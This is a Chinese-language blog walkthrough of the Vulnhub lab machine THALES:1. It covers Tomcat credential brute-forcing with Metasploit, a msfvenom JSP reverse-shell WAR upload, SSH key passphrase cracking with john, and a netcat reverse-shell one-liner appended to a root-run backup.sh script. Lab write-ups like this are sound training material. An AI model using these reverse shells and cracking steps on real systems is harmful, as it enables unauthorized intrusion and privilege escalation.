当前位置:网站首页>【Vulnhub靶场】THALES:1
【Vulnhub靶场】THALES:1
2022-07-07 14:12:00 【Nailaoyyds】
目录
前言
描述
简介:睁开眼,换个角度
包括 2 个标志:user.txt 和 root.txt。
下载链接
https://download.vulnhub.com/thales/Thales.zip.torrent
0x00环境介绍 kali 192.168.56.102 Thales靶机 192.168.56.101
一、信息收集
0x00 arp-scan扫描
arp-scan -I eth1 -l #扫描网卡局域网

0x01 nmap扫描
扫描到两个网段 不确定是哪个 nmap 扫描扫描两个IP

开放端口22和8080

访问站点,发现需要用户名密码

二、漏洞利用
0x00 msfconsole利用
msf搜索tomcat login

配置payload

用户名 tomcat 密码 role1

成功登入
0x01 文件上传

寻找功能点,发现上传点

利用kali生成war文件木马做反弹shell msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.56.102 lport=5555 -f war -o myshell.war
上传成功,并运行

三、权限提升
0x00 反弹shell
监听端口

升级成交互式shell

sudo -l #需要密码,未知 在home文件下发现用户Thales


在`notes.txt`文件中发现`/usr/local/bin/backup.sh 查看文件内容
0x02 字典爆破
发现.ssh文件夹

发现私钥可以用ssh2john.py生成密码文件爆破
用 ssh2john.py 脚本编译一下
/usr/share/john/ssh2john.py id_rsa > crack.txt
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt

爆破出密码vodka06
切换用户

0x03 user.txt
查看user.txt---第一个flag

notes.txt是root权限的,里边可能是有东西都

0x04 反弹shell
看到backup.sh是有执行权限的,可以写入反弹shell

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 666 >/tmp/f" >> backup.sh
文件内容编辑会直接替换,选择用追加

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 9999 >/tmp/f" >> backup.sh
0x05 root.txt
监听9999,写入以后过一会就自己连接了

总结
Thales学到了
msf的爆破字典的使用
rsa私钥密文的利用
边栏推荐
- Bidding announcement: Panjin people's Hospital Panjin hospital database maintenance project
- Leetcode-231-2的幂
- SPI master rx time out中断
- Logback logging framework third-party jar package is available for free
- Three. JS introductory learning notes 13: animation learning
- Rongyun won the 2022 China Xinchuang digital office portal excellence product award!
- How to implement backspace in shell
- Aerospace Hongtu information won the bid for the database system research and development project of a unit in Urumqi
- Odoo integrated plausible embedded code monitoring platform
- 过度依赖补助,大客户收款难,冲刺“国产数据库第一股”的达梦后劲有多足?
猜你喜欢

Sysom case analysis: where is the missing memory| Dragon lizard Technology

Plate - forme de surveillance par étapes zabbix

Numpy -- data cleaning

山东老博会,2022中国智慧养老展会,智能化养老、适老科技展

10 schemes to ensure interface data security

Multiplication in pytorch: mul (), multiply (), matmul (), mm (), MV (), dot ()

2022第四届中国(济南)国际智慧养老产业展览会,山东老博会

You Yuxi, coming!

Shandong old age Expo, 2022 China smart elderly care exhibition, smart elderly care and aging technology exhibition

Unity3d click events added to 3D objects in the scene
随机推荐
Odoo集成Plausible埋码监控平台
Markdown formula editing tutorial
神经网络c语言中的指针是怎么回事
MySQL数据库基本操作-DQL-基本查询
Shipping companies' AI products are mature, standardized and applied on a large scale. CIMC, the global leader in port and shipping AI / container AI, has built a benchmark for international shipping
星瑞格数据库入围“2021年度福建省信息技术应用创新典型解决方案”
PHP中exit,exit(0),exit(1),exit(‘0’),exit(‘1’),die,return的区别
分步式监控平台zabbix
招标公告:福建省农村信用社联合社数据库审计系统采购项目(重新招标)
安科瑞电网智能化发展的必然趋势电力系统采用微机保护装置是
SysOM 案例解析:消失的内存都去哪了 !| 龙蜥技术
U3D_ Infinite Bessel curve
laravel怎么获取到public路径
统计学习方法——感知机
121. 买卖股票的最佳时机
Introduction to pyGame games
Is it reliable to open an account on Tongda letter with your mobile phone? Is there any potential safety hazard in such stock speculation
C4D learning notes 1- animation - animation key frames
The inevitable trend of the intelligent development of ankerui power grid is that microcomputer protection devices are used in power systems
PHP has its own filtering and escape functions

